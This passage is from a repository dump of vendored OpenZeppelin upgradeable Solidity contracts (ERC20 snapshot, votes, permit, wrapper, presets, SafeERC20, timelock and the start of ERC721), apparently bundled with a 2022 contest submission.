// c) More snapshots were created after the requested one, and the queried value was later modified. There will be
// no entry for the requested id: the value that corresponds to it is that of the smallest snapshot id that is
// larger than the requested one.
//
// In summary, we need to find an element in an array, returning the index of the smallest value that is larger if
// it is not found, unless said value doesn't exist (e.g. when all values are smaller). Arrays.findUpperBound does
// exactly this.
uint256 index = snapshots.ids.findUpperBound(snapshotId);
if (index == snapshots.ids.length) {
return (false, 0);
} else {
return (true, snapshots.values[index]);
}
}
function _updateAccountSnapshot(address account) private {
_updateSnapshot(_accountBalanceSnapshots[account], balanceOf(account));
}
function _updateTotalSupplySnapshot() private {
_updateSnapshot(_totalSupplySnapshots, totalSupply());
}
function _updateSnapshot(Snapshots storage snapshots, uint256 currentValue) private {
uint256 currentId = _getCurrentSnapshotId();
if (_lastSnapshotId(snapshots.ids) < currentId) {
snapshots.ids.push(currentId);
snapshots.values.push(currentValue);
}
}
function _lastSnapshotId(uint256[] storage ids) private view returns (uint256) {
if (ids.length == 0) {
return 0;
} else {
return ids[ids.length - 1];
}
}
uint256[46] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC20/extensions/ERC20VotesCompUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/ERC20VotesComp.sol)
pragma solidity ^0.8.0;
import "./ERC20VotesUpgradeable.sol";
import "../../../proxy/utils/Initializable.sol";
/**
* @dev Extension of ERC20 to support Compound's voting and delegation. This version exactly matches Compound's
* interface, with the drawback of only supporting supply up to (2^96^ - 1).
*
* NOTE: You should use this contract if you need exact compatibility with COMP (for example in order to use your token
* with Governor Alpha or Bravo) and if you are sure the supply cap of 2^96^ is enough for you. Otherwise, use the
* {ERC20Votes} variant of this module.
*
* This extension keeps a history (checkpoints) of each account's vote power. Vote power can be delegated either
* by calling the {delegate} function directly, or by providing a signature to be used with {delegateBySig}. Voting
* power can be queried through the public accessors {getCurrentVotes} and {getPriorVotes}.
*
* By default, token balance does not account for voting power. This makes transfers cheaper. The downside is that it
* requires users to delegate to themselves in order to activate checkpoints and have their voting power tracked.
* Enabling self-delegation can easily be done by overriding the {delegates} function. Keep in mind however that this
* will significantly increase the base gas cost of transfers.
*
* _Available since v4.2._
*/
abstract contract ERC20VotesCompUpgradeable is Initializable, ERC20VotesUpgradeable {
function __ERC20VotesComp_init_unchained() internal onlyInitializing {
}
/**
* @dev Comp version of the {getVotes} accessor, with `uint96` return type.
*/
function getCurrentVotes(address account) external view returns (uint96) {
return SafeCastUpgradeable.toUint96(getVotes(account));
}
/**
* @dev Comp version of the {getPastVotes} accessor, with `uint96` return type.
*/
function getPriorVotes(address account, uint256 blockNumber) external view returns (uint96) {
return SafeCastUpgradeable.toUint96(getPastVotes(account, blockNumber));
}
/**
* @dev Maximum token supply. Reduced to `type(uint96).max` (2^96^ - 1) to fit COMP interface.
*/
function _maxSupply() internal view virtual override returns (uint224) {
return type(uint96).max;
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC20/extensions/ERC20VotesUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/ERC20Votes.sol)
pragma solidity ^0.8.0;
import "./draft-ERC20PermitUpgradeable.sol";
import "../../../utils/math/MathUpgradeable.sol";
import "../../../utils/math/SafeCastUpgradeable.sol";
import "../../../utils/cryptography/ECDSAUpgradeable.sol";
import "../../../proxy/utils/Initializable.sol";
/**
* @dev Extension of ERC20 to support Compound-like voting and delegation. This version is more generic than Compound's,
* and supports token supply up to 2^224^ - 1, while COMP is limited to 2^96^ - 1.
*
* NOTE: If exact COMP compatibility is required, use the {ERC20VotesComp} variant of this module.
*
* This extension keeps a history (checkpoints) of each account's vote power. Vote power can be delegated either
* by calling the {delegate} function directly, or by providing a signature to be used with {delegateBySig}. Voting
* power can be queried through the public accessors {getVotes} and {getPastVotes}.
*
* By default, token balance does not account for voting power. This makes transfers cheaper. The downside is that it
* requires users to delegate to themselves in order to activate checkpoints and have their voting power tracked.
* Enabling self-delegation can easily be done by overriding the {delegates} function. Keep in mind however that this
* will significantly increase the base gas cost of transfers.
*
* _Available since v4.2._
*/
abstract contract ERC20VotesUpgradeable is Initializable, ERC20PermitUpgradeable {
function __ERC20Votes_init_unchained() internal onlyInitializing {
}
struct Checkpoint {
uint32 fromBlock;
uint224 votes;
}
bytes32 private constant _DELEGATION_TYPEHASH =
keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
mapping(address => address) private _delegates;
mapping(address => Checkpoint[]) private _checkpoints;
Checkpoint[] private _totalSupplyCheckpoints;
/**
* @dev Emitted when an account changes their delegate.
*/
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/**
* @dev Emitted when a token transfer or delegate change results in changes to an account's voting power.
*/
event DelegateVotesChanged(address indexed delegate, uint256 previousBalance, uint256 newBalance);
/**
* @dev Get the `pos`-th checkpoint for `account`.
*/
function checkpoints(address account, uint32 pos) public view virtual returns (Checkpoint memory) {
return _checkpoints[account][pos];
}
/**
* @dev Get number of checkpoints for `account`.
*/
function numCheckpoints(address account) public view virtual returns (uint32) {
return SafeCastUpgradeable.toUint32(_checkpoints[account].length);
}
/**
* @dev Get the address `account` is currently delegating to.
*/
function delegates(address account) public view virtual returns (address) {
return _delegates[account];
}
/**
* @dev Gets the current votes balance for `account`
*/
function getVotes(address account) public view returns (uint256) {
uint256 pos = _checkpoints[account].length;
return pos == 0 ? 0 : _checkpoints[account][pos - 1].votes;
}
/**
* @dev Retrieve the number of votes for `account` at the end of `blockNumber`.
*
* Requirements:
*
* - `blockNumber` must have been already mined
*/
function getPastVotes(address account, uint256 blockNumber) public view returns (uint256) {
require(blockNumber < block.number, "ERC20Votes: block not yet mined");
return _checkpointsLookup(_checkpoints[account], blockNumber);
}
/**
* @dev Retrieve the `totalSupply` at the end of `blockNumber`. Note, this value is the sum of all balances.
* It is but NOT the sum of all the delegated votes!
*
* Requirements:
*
* - `blockNumber` must have been already mined
*/
function getPastTotalSupply(uint256 blockNumber) public view returns (uint256) {
require(blockNumber < block.number, "ERC20Votes: block not yet mined");
return _checkpointsLookup(_totalSupplyCheckpoints, blockNumber);
}
/**
* @dev Lookup a value in a list of (sorted) checkpoints.
*/
function _checkpointsLookup(Checkpoint[] storage ckpts, uint256 blockNumber) private view returns (uint256) {
// We run a binary search to look for the earliest checkpoint taken after `blockNumber`.
//
// During the loop, the index of the wanted checkpoint remains in the range [low-1, high).
// With each iteration, either `low` or `high` is moved towards the middle of the range to maintain the invariant.
// - If the middle checkpoint is after `blockNumber`, we look in [low, mid)
// - If the middle checkpoint is before or equal to `blockNumber`, we look in [mid+1, high)
// Once we reach a single value (when low == high), we've found the right checkpoint at the index high-1, if not
// out of bounds (in which case we're looking too far in the past and the result is 0).
// Note that if the latest checkpoint available is exactly for `blockNumber`, we end up with an index that is
// past the end of the array, so we technically don't find a checkpoint after `blockNumber`, but it works out
// the same.
uint256 high = ckpts.length;
uint256 low = 0;
while (low < high) {
uint256 mid = MathUpgradeable.average(low, high);
if (ckpts[mid].fromBlock > blockNumber) {
high = mid;
} else {
low = mid + 1;
}
}
return high == 0 ? 0 : ckpts[high - 1].votes;
}
/**
* @dev Delegate votes from the sender to `delegatee`.
*/
function delegate(address delegatee) public virtual {
_delegate(_msgSender(), delegatee);
}
/**
* @dev Delegates votes from signer to `delegatee`
*/
function delegateBySig(
address delegatee,
uint256 nonce,
uint256 expiry,
uint8 v,
bytes32 r,
bytes32 s
) public virtual {
require(block.timestamp <= expiry, "ERC20Votes: signature expired");
address signer = ECDSAUpgradeable.recover(
_hashTypedDataV4(keccak256(abi.encode(_DELEGATION_TYPEHASH, delegatee, nonce, expiry))),
v,
r,
s
);
require(nonce == _useNonce(signer), "ERC20Votes: invalid nonce");
_delegate(signer, delegatee);
}
/**
* @dev Maximum token supply. Defaults to `type(uint224).max` (2^224^ - 1).
*/
function _maxSupply() internal view virtual returns (uint224) {
return type(uint224).max;
}
/**
* @dev Snapshots the totalSupply after it has been increased.
*/
function _mint(address account, uint256 amount) internal virtual override {
super._mint(account, amount);
require(totalSupply() <= _maxSupply(), "ERC20Votes: total supply risks overflowing votes");
_writeCheckpoint(_totalSupplyCheckpoints, _add, amount);
}
/**
* @dev Snapshots the totalSupply after it has been decreased.
*/
function _burn(address account, uint256 amount) internal virtual override {
super._burn(account, amount);
_writeCheckpoint(_totalSupplyCheckpoints, _subtract, amount);
}
/**
* @dev Move voting power when tokens are transferred.
*
* Emits a {DelegateVotesChanged} event.
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual override {
super._afterTokenTransfer(from, to, amount);
_moveVotingPower(delegates(from), delegates(to), amount);
}
/**
* @dev Change delegation for `delegator` to `delegatee`.
*
* Emits events {DelegateChanged} and {DelegateVotesChanged}.
*/
function _delegate(address delegator, address delegatee) internal virtual {
address currentDelegate = delegates(delegator);
uint256 delegatorBalance = balanceOf(delegator);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveVotingPower(currentDelegate, delegatee, delegatorBalance);
}
function _moveVotingPower(
address src,
address dst,
uint256 amount
) private {
if (src != dst && amount > 0) {
if (src != address(0)) {
(uint256 oldWeight, uint256 newWeight) = _writeCheckpoint(_checkpoints[src], _subtract, amount);
emit DelegateVotesChanged(src, oldWeight, newWeight);
}
if (dst != address(0)) {
(uint256 oldWeight, uint256 newWeight) = _writeCheckpoint(_checkpoints[dst], _add, amount);
emit DelegateVotesChanged(dst, oldWeight, newWeight);
}
}
}
function _writeCheckpoint(
Checkpoint[] storage ckpts,
function(uint256, uint256) view returns (uint256) op,
uint256 delta
) private returns (uint256 oldWeight, uint256 newWeight) {
uint256 pos = ckpts.length;
oldWeight = pos == 0 ? 0 : ckpts[pos - 1].votes;
newWeight = op(oldWeight, delta);
if (pos > 0 && ckpts[pos - 1].fromBlock == block.number) {
ckpts[pos - 1].votes = SafeCastUpgradeable.toUint224(newWeight);
} else {
ckpts.push(Checkpoint({fromBlock: SafeCastUpgradeable.toUint32(block.number), votes: SafeCastUpgradeable.toUint224(newWeight)}));
}
}
function _add(uint256 a, uint256 b) private pure returns (uint256) {
return a + b;
}
function _subtract(uint256 a, uint256 b) private pure returns (uint256) {
return a - b;
}
uint256[47] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC20/extensions/ERC20WrapperUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/ERC20Wrapper.sol)
pragma solidity ^0.8.0;
import "../ERC20Upgradeable.sol";
import "../utils/SafeERC20Upgradeable.sol";
import "../../../proxy/utils/Initializable.sol";
/**
* @dev Extension of the ERC20 token contract to support token wrapping.
*
* Users can deposit and withdraw "underlying tokens" and receive a matching number of "wrapped tokens". This is useful
* in conjunction with other modules. For example, combining this wrapping mechanism with {ERC20Votes} will allow the
* wrapping of an existing "basic" ERC20 into a governance token.
*
* _Available since v4.2._
*/
abstract contract ERC20WrapperUpgradeable is Initializable, ERC20Upgradeable {
IERC20Upgradeable public underlying;
function __ERC20Wrapper_init(IERC20Upgradeable underlyingToken) internal onlyInitializing {
__Context_init_unchained();
__ERC20Wrapper_init_unchained(underlyingToken);
}
function __ERC20Wrapper_init_unchained(IERC20Upgradeable underlyingToken) internal onlyInitializing {
underlying = underlyingToken;
}
/**
* @dev Allow a user to deposit underlying tokens and mint the corresponding number of wrapped tokens.
*/
function depositFor(address account, uint256 amount) public virtual returns (bool) {
SafeERC20Upgradeable.safeTransferFrom(underlying, _msgSender(), address(this), amount);
_mint(account, amount);
return true;
}
/**
* @dev Allow a user to burn a number of wrapped tokens and withdraw the corresponding number of underlying tokens.
*/
function withdrawTo(address account, uint256 amount) public virtual returns (bool) {
_burn(_msgSender(), amount);
SafeERC20Upgradeable.safeTransfer(underlying, account, amount);
return true;
}
/**
* @dev Mint wrapped token to cover any underlyingTokens that would have been transfered by mistake. Internal
* function that can be exposed with access control if desired.
*/
function _recover(address account) internal virtual returns (uint256) {
uint256 value = underlying.balanceOf(address(this)) - totalSupply();
_mint(account, value);
return value;
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC20/extensions/IERC20MetadataUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)
pragma solidity ^0.8.0;
import "../IERC20Upgradeable.sol";
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20MetadataUpgradeable is IERC20Upgradeable {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC20/extensions/draft-ERC20PermitUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/draft-ERC20Permit.sol)
pragma solidity ^0.8.0;
import "./draft-IERC20PermitUpgradeable.sol";
import "../ERC20Upgradeable.sol";
import "../../../utils/cryptography/draft-EIP712Upgradeable.sol";
import "../../../utils/cryptography/ECDSAUpgradeable.sol";
import "../../../utils/CountersUpgradeable.sol";
import "../../../proxy/utils/Initializable.sol";
/**
* @dev Implementation of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
* https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
*
* Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
* presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't
* need to send a transaction, and thus is not required to hold Ether at all.
*
* _Available since v3.4._
*/
abstract contract ERC20PermitUpgradeable is Initializable, ERC20Upgradeable, IERC20PermitUpgradeable, EIP712Upgradeable {
using CountersUpgradeable for CountersUpgradeable.Counter;
mapping(address => CountersUpgradeable.Counter) private _nonces;
// solhint-disable-next-line var-name-mixedcase
bytes32 private _PERMIT_TYPEHASH;
/**
* @dev Initializes the {EIP712} domain separator using the `name` parameter, and setting `version` to `"1"`.
*
* It's a good idea to use the same `name` that is defined as the ERC20 token name.
*/
function __ERC20Permit_init(string memory name) internal onlyInitializing {
__Context_init_unchained();
__EIP712_init_unchained(name, "1");
__ERC20Permit_init_unchained(name);
}
function __ERC20Permit_init_unchained(string memory name) internal onlyInitializing {
_PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");}
/**
* @dev See {IERC20Permit-permit}.
*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) public virtual override {
require(block.timestamp <= deadline, "ERC20Permit: expired deadline");
bytes32 structHash = keccak256(abi.encode(_PERMIT_TYPEHASH, owner, spender, value, _useNonce(owner), deadline));
bytes32 hash = _hashTypedDataV4(structHash);
address signer = ECDSAUpgradeable.recover(hash, v, r, s);
require(signer == owner, "ERC20Permit: invalid signature");
_approve(owner, spender, value);
}
/**
* @dev See {IERC20Permit-nonces}.
*/
function nonces(address owner) public view virtual override returns (uint256) {
return _nonces[owner].current();
}
/**
* @dev See {IERC20Permit-DOMAIN_SEPARATOR}.
*/
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view override returns (bytes32) {
return _domainSeparatorV4();
}
/**
* @dev "Consume a nonce": return the current value and increment.
*
* _Available since v4.1._
*/
function _useNonce(address owner) internal virtual returns (uint256 current) {
CountersUpgradeable.Counter storage nonce = _nonces[owner];
current = nonce.current();
nonce.increment();
}
uint256[49] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC20/extensions/draft-IERC20PermitUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/draft-IERC20Permit.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
* https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
*
* Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
* presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't
* need to send a transaction, and thus is not required to hold Ether at all.
*/
interface IERC20PermitUpgradeable {
/**
* @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens,
* given ``owner``'s signed approval.
*
* IMPORTANT: The same issues {IERC20-approve} has related to transaction
* ordering also apply here.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `deadline` must be a timestamp in the future.
* - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`
* over the EIP712-formatted function arguments.
* - the signature must use ``owner``'s current nonce (see {nonces}).
*
* For more information on the signature format, see the
* https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP
* section].
*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
/**
* @dev Returns the current nonce for `owner`. This value must be
* included whenever a signature is generated for {permit}.
*
* Every successful call to {permit} increases ``owner``'s nonce by one. This
* prevents a signature from being used multiple times.
*/
function nonces(address owner) external view returns (uint256);
/**
* @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}.
*/
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view returns (bytes32);
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC20/presets/ERC20PresetFixedSupplyUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/presets/ERC20PresetFixedSupply.sol)
pragma solidity ^0.8.0;
import "../extensions/ERC20BurnableUpgradeable.sol";
import "../../../proxy/utils/Initializable.sol";
/**
* @dev {ERC20} token, including:
*
* - Preminted initial supply
* - Ability for holders to burn (destroy) their tokens
* - No access control mechanism (for minting/pausing) and hence no governance
*
* This contract uses {ERC20Burnable} to include burn capabilities - head to
* its documentation for details.
*
* _Available since v3.4._
*/
contract ERC20PresetFixedSupplyUpgradeable is Initializable, ERC20BurnableUpgradeable {
function initialize(
string memory name,
string memory symbol,
uint256 initialSupply,
address owner
) public virtual initializer {
__ERC20PresetFixedSupply_init(name, symbol, initialSupply, owner);
}
/**
* @dev Mints `initialSupply` amount of token and transfers them to `owner`.
*
* See {ERC20-constructor}.
*/
function __ERC20PresetFixedSupply_init(
string memory name,
string memory symbol,
uint256 initialSupply,
address owner
) internal onlyInitializing {
__Context_init_unchained();
__ERC20_init_unchained(name, symbol);
__ERC20Burnable_init_unchained();
__ERC20PresetFixedSupply_init_unchained(name, symbol, initialSupply, owner);
}
function __ERC20PresetFixedSupply_init_unchained(
string memory name,
string memory symbol,
uint256 initialSupply,
address owner
) internal onlyInitializing {
_mint(owner, initialSupply);
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC20/presets/ERC20PresetMinterPauserUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/presets/ERC20PresetMinterPauser.sol)
pragma solidity ^0.8.0;
import "../ERC20Upgradeable.sol";
import "../extensions/ERC20BurnableUpgradeable.sol";
import "../extensions/ERC20PausableUpgradeable.sol";
import "../../../access/AccessControlEnumerableUpgradeable.sol";
import "../../../utils/ContextUpgradeable.sol";
import "../../../proxy/utils/Initializable.sol";
/**
* @dev {ERC20} token, including:
*
* - ability for holders to burn (destroy) their tokens
* - a minter role that allows for token minting (creation)
* - a pauser role that allows to stop all token transfers
*
* This contract uses {AccessControl} to lock permissioned functions using the
* different roles - head to its documentation for details.
*
* The account that deploys the contract will be granted the minter and pauser
* roles, as well as the default admin role, which will let it grant both minter
* and pauser roles to other accounts.
*/
contract ERC20PresetMinterPauserUpgradeable is Initializable, ContextUpgradeable, AccessControlEnumerableUpgradeable, ERC20BurnableUpgradeable, ERC20PausableUpgradeable {
function initialize(string memory name, string memory symbol) public virtual initializer {
__ERC20PresetMinterPauser_init(name, symbol);
}
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE");
/**
* @dev Grants `DEFAULT_ADMIN_ROLE`, `MINTER_ROLE` and `PAUSER_ROLE` to the
* account that deploys the contract.
*
* See {ERC20-constructor}.
*/
function __ERC20PresetMinterPauser_init(string memory name, string memory symbol) internal onlyInitializing {
__Context_init_unchained();
__ERC165_init_unchained();
__AccessControl_init_unchained();
__AccessControlEnumerable_init_unchained();
__ERC20_init_unchained(name, symbol);
__ERC20Burnable_init_unchained();
__Pausable_init_unchained();
__ERC20Pausable_init_unchained();
__ERC20PresetMinterPauser_init_unchained(name, symbol);
}
function __ERC20PresetMinterPauser_init_unchained(string memory name, string memory symbol) internal onlyInitializing {
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
_setupRole(MINTER_ROLE, _msgSender());
_setupRole(PAUSER_ROLE, _msgSender());
}
/**
* @dev Creates `amount` new tokens for `to`.
*
* See {ERC20-_mint}.
*
* Requirements:
*
* - the caller must have the `MINTER_ROLE`.
*/
function mint(address to, uint256 amount) public virtual {
require(hasRole(MINTER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have minter role to mint");
_mint(to, amount);
}
/**
* @dev Pauses all token transfers.
*
* See {ERC20Pausable} and {Pausable-_pause}.
*
* Requirements:
*
* - the caller must have the `PAUSER_ROLE`.
*/
function pause() public virtual {
require(hasRole(PAUSER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have pauser role to pause");
_pause();
}
/**
* @dev Unpauses all token transfers.
*
* See {ERC20Pausable} and {Pausable-_unpause}.
*
* Requirements:
*
* - the caller must have the `PAUSER_ROLE`.
*/
function unpause() public virtual {
require(hasRole(PAUSER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have pauser role to unpause");
_unpause();
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual override(ERC20Upgradeable, ERC20PausableUpgradeable) {
super._beforeTokenTransfer(from, to, amount);
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC20/utils/SafeERC20Upgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol)
pragma solidity ^0.8.0;
import "../IERC20Upgradeable.sol";
import "../../../utils/AddressUpgradeable.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20Upgradeable {
using AddressUpgradeable for address;
function safeTransfer(
IERC20Upgradeable token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20Upgradeable token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20Upgradeable token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20Upgradeable token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20Upgradeable token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20Upgradeable token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC20/utils/TokenTimelockUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/TokenTimelock.sol)
pragma solidity ^0.8.0;
import "./SafeERC20Upgradeable.sol";
import "../../../proxy/utils/Initializable.sol";
/**
* @dev A token holder contract that will allow a beneficiary to extract the
* tokens after a given release time.
*
* Useful for simple vesting schedules like "advisors get all of their tokens
* after 1 year".
*/
contract TokenTimelockUpgradeable is Initializable {
using SafeERC20Upgradeable for IERC20Upgradeable;
// ERC20 basic token contract being held
IERC20Upgradeable private _token;
// beneficiary of tokens after they are released
address private _beneficiary;
// timestamp when token release is enabled
uint256 private _releaseTime;
function __TokenTimelock_init(
IERC20Upgradeable token_,
address beneficiary_,
uint256 releaseTime_
) internal onlyInitializing {
__TokenTimelock_init_unchained(token_, beneficiary_, releaseTime_);
}
function __TokenTimelock_init_unchained(
IERC20Upgradeable token_,
address beneficiary_,
uint256 releaseTime_
) internal onlyInitializing {
require(releaseTime_ > block.timestamp, "TokenTimelock: release time is before current time");
_token = token_;
_beneficiary = beneficiary_;
_releaseTime = releaseTime_;
}
/**
* @return the token being held.
*/
function token() public view virtual returns (IERC20Upgradeable) {
return _token;
}
/**
* @return the beneficiary of the tokens.
*/
function beneficiary() public view virtual returns (address) {
return _beneficiary;
}
/**
* @return the time when the tokens are released.
*/
function releaseTime() public view virtual returns (uint256) {
return _releaseTime;
}
/**
* @notice Transfers tokens held by timelock to beneficiary.
*/
function release() public virtual {
require(block.timestamp >= releaseTime(), "TokenTimelock: current time is before release time");
uint256 amount = token().balanceOf(address(this));
require(amount > 0, "TokenTimelock: no tokens to release");
token().safeTransfer(beneficiary(), amount);
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC721/ERC721Upgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
import "./IERC721Upgradeable.sol";
import "./IERC721ReceiverUpgradeable.sol";
import "./extensions/IERC721MetadataUpgradeable.sol";
import "../../utils/AddressUpgradeable.sol";
import "../../utils/ContextUpgradeable.sol";
import "../../utils/StringsUpgradeable.sol";
import "../../utils/introspection/ERC165Upgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721Upgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC721Upgradeable, IERC721MetadataUpgradeable {
using AddressUpgradeable for address;
using StringsUpgradeable for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
function __ERC721_init(string memory name_, string memory symbol_) internal onlyInitializing {
__Context_init_unchained();
__ERC165_init_unchained();
__ERC721_init_unchained(name_, symbol_);
}
function __ERC721_init_unchained(string memory name_, string memory symbol_) internal onlyInitializing {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) {
return
interfaceId == type(IERC721Upgradeable).interfaceId ||
interfaceId == type(IERC721MetadataUpgradeable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
